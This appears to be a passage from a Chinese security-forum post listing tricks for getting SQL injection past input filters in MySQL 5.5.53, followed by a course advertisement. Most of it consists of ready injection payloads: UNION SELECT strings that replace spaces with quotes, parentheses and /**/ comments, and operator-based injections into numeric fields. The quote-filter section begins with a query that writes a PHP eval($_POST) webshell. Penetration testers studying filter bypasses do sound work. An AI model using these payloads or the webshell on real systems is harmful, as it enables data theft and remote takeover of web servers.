总结一些小技巧,欢迎指正
版本5.5.53
测试表结构
测试数据
1.过滤空格的
技巧:字符串加上引号不需要空格,数字加上括号不需要空格,/**/也能代替空格
Php:SELECT * FROM `test` WHERE `name`='$name' and `age`=18
Mysql:SELECT * FROM `test` WHERE `name`='1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'' and `age`=22
参数:$name=1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'
PS:不能控制整个整数的时候
技巧:用运算符连接+-*/等
Php:SELECT * FROM `test` WHERE `age`=1$age and `name`!='wangwu'
Mysql:SELECT * FROM `test` WHERE `age`=1+(1)or(1) and `name`!='wangwu'
参数:$age=+(1)or(1)
2.过滤引号的
技巧:用十六进制代替字符串(select的内容 参数内容都可以使用)
原:select ' <?php @eval($_POST[value]);?>' from `test` where `name`='wangwu'
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!